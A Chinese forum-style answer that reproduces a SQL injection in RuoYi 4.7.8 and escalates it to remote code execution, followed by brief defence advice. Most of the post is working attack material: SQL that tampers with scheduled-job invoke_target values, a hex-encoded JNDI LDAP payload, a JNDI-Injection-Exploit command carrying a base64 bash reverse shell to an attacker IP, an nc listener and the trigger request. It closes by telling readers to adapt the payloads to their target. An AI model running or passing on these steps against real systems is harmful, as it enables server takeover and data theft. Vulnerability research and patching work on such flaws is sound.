最新Ruoyi漏洞复现

最新Ruoyi漏洞复现
最新回答
夏日梧桐雨

2026-10-30 13:16:45

若依4.7.8版本存在SQL注入漏洞,可通过计划任务接口实现远程代码执行。以下是漏洞复现的关键步骤:

一、漏洞成因
  1. SQL注入点

    接口路径:/tool/gen/createTable

    关键代码:Mapper文件中直接拼接SQL语句(${sql}),未过滤用户输入:

    <update id="createTable">${sql}</update>

    调用链:GenTableServiceImpl#createTable → Mapper执行动态SQL。

  2. 绕过黑白名单

    任务状态修改接口(如/monitor/job/changeStatus)未校验invoke_target参数,导致恶意代码可注入。

二、复现步骤1. 验证SQL注入
  • 修改计划任务参数通过GenTableServiceImpl.createTable()直接执行SQL,例如修改ID为1的任务:genTableServiceImpl.createTable("UPDATE sys_job SET invoke_target='zian' WHERE job_id=1;");效果:任务1的invoke_target字段被篡改。
2. JNDI注入执行任意命令
  • 步骤1:启动恶意LDAP服务使用工具(如JNDI-Injection-Exploit)生成Payload:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A "攻击机IP"
  • 步骤2:编码Payload并注入将LDAP地址转为十六进制,避免特殊字符拦截:

    String hexPayload = "0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3139322E3136382E312E3130343A313338392F646573657269616C4A61636B736F6E2729";genTableServiceImpl.createTable("UPDATE sys_job SET invoke_target=" + hexPayload + " WHERE job_id=3;");

    效果:任务3的invoke_target被注入JNDI Payload。

  • 步骤3:触发漏洞调用任务状态变更接口(如/monitor/job/changeStatus)启用任务,触发JNDI注入:

    POST /monitor/job/changeStatus?jobId=3&status=0

3. 反弹Shell(Linux示例)
  • 生成恶意LDAP服务将反弹Shell命令编码后嵌入JNDI Payload:java -jar JNDI-Injection-Exploit.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzc3ODggMD4mMQoKCg==}|{base64,-d}|{bash,-i}" -A "攻击机IP"
  • 监听端口nc -lvnp 7788
三、防御建议
  1. 输入过滤

    禁止直接拼接SQL,使用预编译语句(如#{}替代${})。

  2. 接口校验

    对invoke_target等参数实施黑白名单校验。

  3. 升级版本

    修复版本已移除动态SQL拼接,建议升级至最新版。

四、关键截图说明
  1. Bean加载验证

    确认genTableServiceImpl被Spring容器管理。
  2. 任务修改效果

    数据库记录被成功修改。

通过以上步骤,可复现若依4.7.8版本的SQL注入及RCE漏洞。实际利用需根据目标环境调整Payload编码方式。